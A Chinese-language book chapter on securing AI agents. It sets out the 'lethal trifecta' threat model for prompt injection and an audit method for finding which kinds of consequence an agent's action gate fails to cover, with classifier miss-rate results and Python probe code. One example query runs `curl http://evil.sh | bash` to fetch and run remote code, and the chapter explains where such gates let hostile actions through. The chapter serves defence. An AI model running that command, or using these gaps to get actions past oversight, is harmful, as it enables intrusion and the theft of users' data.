第 19 章 威胁模型:先看风险长什么样,再谈防御
安全不是堆防御,是先看清风险
第四部分把 Agent 弄可靠了。从这一章开始,进入第五部分"让它安全"。
安全这件事有个反直觉的开头:在写任何防御代码之前,先想清楚攻击面长什么样。 很多团队一上来就堆提示词护栏、加审批流程,结果防线千疮百孔还不自知。原因很简单:你不知道要防什么,就不知道防线该围住哪。
这一章讲两个模式,正好是"先看风险"的两步:
- Lethal Trifecta Threat Model(致命三要素威胁模型):用三个能力的交集框出提示注入的攻击面。
- Consequence-Family Coverage Audit(后果族覆盖审计):枚举"行为能造成什么后果",审计策略到底盖住了哪几类。
模式一:致命三要素威胁模型(Lethal Trifecta Threat Model)
问题
把 Agent 的三个能力放在一起:
- 能访问私有数据
- 会接触不可信内容
- 能对外通信
这三者组合起来,就给提示注入攻击者开了一条偷敏感信息的直路。一旦"好指令"和"恶意指令"出现在同一个上下文窗口里,LLM 根本不可靠地区分它们。 这不是提示词写得不好,是模型的固有局限。
方案
采用"三要素威胁模型":
- 审计 Agent 能调用的每个工具,对照这三个能力分类。
- 保证任何执行路径上都至少缺一个圆(三要素凑不齐,攻击链就断了)。可选手段:
- 去掉外网访问(没有出口,数据出不去)。
- 拒绝直接读文件/数据库(没有私有数据可偷)。
- 净化或隔离不可信输入(没有敌意指令进上下文)。
- 在编排时强制这一点,而不是靠脆弱的提示词护栏。
# 伪策略
if tool.can_externally_communicate and \
tool.accesses_private_data and \
input_source == "untrusted":
raise SecurityError("检测到致命三要素")这个模型的精髓是用结构消灭一整类攻击,而不是跟提示注入玩猫鼠游戏。三要素缺一个,攻击者手里就少一张牌。
证据
- 证据等级:最佳实践(
best-practice),来自 Simon Willison(2025)。 - 学术支撑:Beurer-Kellner 等人(2025)的《Design Patterns for Securing LLM Agents against Prompt Injections》。
- 术语澄清:这里讲的是 Simon Willison 的提示注入威胁模型(私有数据 + 不可信内容 + 对外通信),和 AI 安全文献里同名不同义的"lethal trifecta"(高级能力 + Agent 行为 + 情境意识)不是一回事。
怎么用
- 维护每个工具的机器可读能力矩阵(能对外通信吗?访问私有数据吗?)。
- 在 Agent 运行器里加执行前策略检查。
- 失败关闭(fail closed):能力元数据缺失时,把工具当高风险处理。
取舍
- 好处:心智模型简单;消灭一整类攻击。
- 代价:限制"全能" Agent(三样都占的工具被禁用);能力打标签要有纪律。
模式二:后果族覆盖审计(Consequence-Family Coverage Audit)
问题
一个 Agent 门禁有两半:执行点(enforcement point)决定放行/暂缓/拒绝,它确定、小、可穷举测试,人人都审它,因为它长得像安全;分类器(classifier)决定"被提议的这东西是什么类别",它通常是一串字符串列表。
而那个列表有一个能挺过审查的失败模式:它只描述了一类后果,对其余类别闭口不谈。
这个失败不是粗心。列表里的每一条都对。问题在于列表是从某一种"伤害"的想法内部写出来的,在这个框架里,缺失的类别根本看不见。
三个真实门禁,每个都审过、测过、对着真实工具目录验证过:
| 门禁管 | 列表盖住了 | 对什么闭口不谈 |
|---|---|---|
| 支付 API | 钱出去(退款、取消、争议、删除) | 钱进来(创建收款、搭支付页) |
| DFIR/EDR 查询工具 | 破坏(隔离、杀进程、擦除、卸载) | 执行和外传 |
| 计费 API | 资金移动 | 对外通信 |
第二个最说明问题。十四个标记,全是破坏动词。一个正确拦住了 Windows.Remediation.Quarantine 的门禁,却放过了这条"良性读取":
SELECT * FROM execve(argv=["bash","-c","curl http://evil.sh | bash"])没人觉得在整片端点舰队上执行任意代码可以接受。但"运行一条命令"不破坏任何东西,所以没有破坏动词匹配上。
对着真实工具目录验证也抓不住这个。 你是拿一个自己写的"真相"给目录打分,而那个"真相"和列表来自同一个心智模型。标签和分类器互相认同,因为它们编码的是同一种"伤害"的想法。上面某个门禁对着从真实 API 拉出来的目录打了 62/62,跨六轮加固两次,期间"创建收款"一直是低风险。
方案
别重读列表。 重读列表只能确认列表本身,它没法暴露那个从来不在列表上的类别。
反过来:枚举一个动作可能造成后果的方式,然后逐个问"哪条规则盖住这个?" 空的答案就是发现。
| 后果族 | 这个动作… | 容易漏掉的例子 |
|---|---|---|
| 破坏(Destruction) | 删除或覆盖某物 | purge_backups |
| 价值出去(Value out) | 把钱或资产移走 | create_payout |
| 价值进来(Value in) | 收款,或搭起能收款的表面 | create_payment_link |
| 执行(Execution) | 运行调用者提供的代码 | execve(argv=…) |
| 外传(Egress) | 把数据移出系统 | export_customers |
| 对外通信(Outbound) | 触达真实第三方 | send_invoice_reminder |
| 持续承诺(Standing commitment) | 安排未来的自动行为 | setup_auto_reminders |
| 身份与访问(Identity & access) | 改变谁能做什么 | create_service_token |
| 带爆炸半径的配置(Config w/ blast radius) | 改变所有人的行为 | update_dns_record |
这个表是启发思考的提示,不是 schema,给你的领域加行。重点是有某个枚举可以对照检查,让一整类后果不能悄无声息地缺失。
每个后果族问三个问题:
- 哪条规则盖住它? 没有规则,说明这一类没人管。
- 有没有第二条通往同一结果的路径? 按住"发发票",却留着"为那张发票生成可扫描付款码"不按,等于没按。一条没按住的替代路线,对攻击者的价值比按住的那条还大。
- 调用者控制危险部分吗? 一个内部调用 shell 读磁盘用量的工具是"读"。一个运行调用者提供的命令的工具不是,不管名字多像。
证据
这个模式从三个手写门禁里总结出来,然后拿一个专门训练来分类准入决策的模型去测:理论是,如果这种盲目只是人类写作的产物,训练过的模型不会复现它。
它复现了。 在 8,989 个留出行上,分类器整体误放行率只有 0.74%,但错误分布不均:
| 后果族 | 风险行 | 放行数 |
|---|---|---|
| 执行 | 165 | 5.45% |
| 外传 | 94 | 5.32% |
| 持续承诺 | 110 | 1.82% |
| 破坏、价值进、对外 | 1,761 | 0.00% |
两个后果族的错误率是其余的大约十倍,而它的最大训练来源(38,419 行里的 17,713 行)就是专门为对抗这个失败建的。
随后七个模型跑相同行,包括 GPT-5 和 Claude Opus 5。策略写明自己规则的地方,每个前沿模型都到 0.00% 误放行;它们对明确策略是安全的,只是过度谨慎。有用的读法是:是策略的明确性在起作用,这和本模式从另一头说的其实是同一件事。
怎么用
把枚举当成测试跑,不是一次性审查。 真正超出范围的后果族,应该进显式允许列表,旁边写清理由。
# 每个后果族一个代表性动作。刻意不穷举:
# 价值在于加一个族很便宜,所以缺一个族是一个选择。
FAMILY_PROBES = {
"destruction": "delete_record",
"value_out": "issue_refund",
"value_in": "create_charge",
"execution": "run_script",
"egress": "export_customers",
"outbound_comms": "send_invoice",
"standing_commitment": "enable_auto_reminders",
"identity_access": "disable_user",
}
def uncovered(classify, benign_probe):
"""返回会被自动放行的后果族。
benign_probe 是一个*应该*畅通无阻的调用,不是可选的:
一个什么都按住的策略报告不出缺口,但也什么都不告诉你,
这正是本模式针对的"假的全清"。
"""
if is_held(classify(benign_probe)):
raise AssertionError(
f"{benign_probe!r} 被按住了,这个策略按住一切,"
"探针无法区分已覆盖和未覆盖的后果族。"
)
return [fam for fam, action in FAMILY_PROBES.items()
if not is_held(classify(action))]对着只匹配反转动词的分类器(上面第一个失败),这个函数会返回八个族里的六个。
取舍
- 按"放行了什么"评判门禁,而不是按"挡住了什么"。 过度谨慎只花一次确认弹窗;一次漏过花掉的是你建这个门禁要防的东西。标记收紧不了又不开真实路径时,就保持宽,把产生的误报写下来。
- 枚举本身也是个列表,继承同样的弱点,只是高一层的。它更稳健,只因为"后果族"比"工具名"更粗更少,缺一个更容易看见。
- 过度按住是真成本。 一个绝对安全但什么都停的门禁,一天之内就会被关掉。所以要同时量过度按住率和误放行率。
- 这不替代执行。 它审计的是执行的输入。
两个模式怎么选
| 场景 | 推荐模式 |
|---|---|
| 刚起步,想框出提示注入攻击面 | 致命三要素威胁模型 |
| 有门禁/策略了,想知道盖住没有 | 后果族覆盖审计 |
| 工具能花钱、跑码、移数据、发消息 | 后果族覆盖审计(跑枚举测试) |
两个模式是威胁模型的两步:三要素框出"攻击从哪来"(私有数据 + 不可信内容 + 对外通信的交集),后果族审计检查"防线盖住哪几类后果"(破坏、资金、执行、外传、对外通信、持续承诺……)。先有威胁模型,后面的控制流隔离、权限审批、凭据出口才有依据。
实践清单
- 每个工具建能力矩阵:能对外通信?访问私有数据?输入来源可信?
- 任何执行路径保证三要素至少缺一个圆,在编排时强制
- 能力元数据缺失时失败关闭,当高风险处理
- 别只审"挡住了什么",按"放行了什么"评判门禁
- 用后果族枚举跑覆盖测试:破坏/价值进出/执行/外传/对外通信/持续承诺/身份/配置
- 每个后果族问三问:哪条规则盖住?有第二条路径吗?调用者控制危险部分吗?
- 每个族一个代表性探针,配一个良性探针防"假的全清"
- 同时量误放行率和过度按住率,别把门禁逼到被关掉
- 枚举当测试跑,纳入 CI,别当一次性审查
本章小结
- 致命三要素:私有数据 + 不可信内容 + 对外通信,三缺一攻击链就断。
- 后果族覆盖审计:按后果族枚举,问"哪条规则盖住",空答案就是发现。
- 威胁模型是安全的地基:先看清攻击面,分层防御才立得住。
下一章讲控制流隔离:把"谁做决定"和"谁执行"分开。双 LLM 模式、工具能力分区、认证权威通道。